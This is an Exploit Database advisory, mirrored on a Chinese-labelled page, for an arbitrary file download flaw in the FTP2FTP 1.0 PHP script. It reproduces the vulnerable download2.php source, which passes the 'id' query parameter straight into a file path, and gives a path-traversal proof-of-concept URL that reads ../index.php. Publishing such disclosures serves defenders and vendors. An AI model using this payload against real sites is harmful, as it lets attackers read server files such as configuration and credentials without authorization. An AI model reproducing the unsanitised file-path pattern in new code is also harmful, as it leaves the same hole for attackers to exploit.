FTP2FTP 1.0 – Arbitrary File Download

• Exploit Database
• 17 阅读

• 作者： AkkuS
  日期： 2018-07-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45054/

• # Exploit Title: FTP2FTP 1.0 - Arbitrary File Download
  # Dork: N/A
  # Date: 18.07.2018
  # Exploit Author: Özkan Mustafa Akkuş (AkkuS)
  # Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395
  # Version: 1.0
  # Category: Webapps
  # Tested on: Kali linux
  # Description : The "download2.php" is vulnerable in the admin panel.
  The attacker can download and read all files known by the name via 'id' parameter.
  
  ====================================================
  
  
  # Vuln file : /FTP2FTP/download2.php
  
  1.<?php
  2.$file = "tempFiles2/".$_GET['id'];
  3.
  4.
  5.if (file_exists($file)) {
  6. header('Content-Description: File Transfer');
  7. header('Content-Type: application/octet-stream');
  8. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  9. header('Expires: 0');
  10.header('Cache-Control: must-revalidate');
  11.header('Pragma: public');
  12.header('Content-Length: ' . filesize($file));
  13.readfile($file);
  14.exit;
  15. }
  16. ?>
  
  # PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php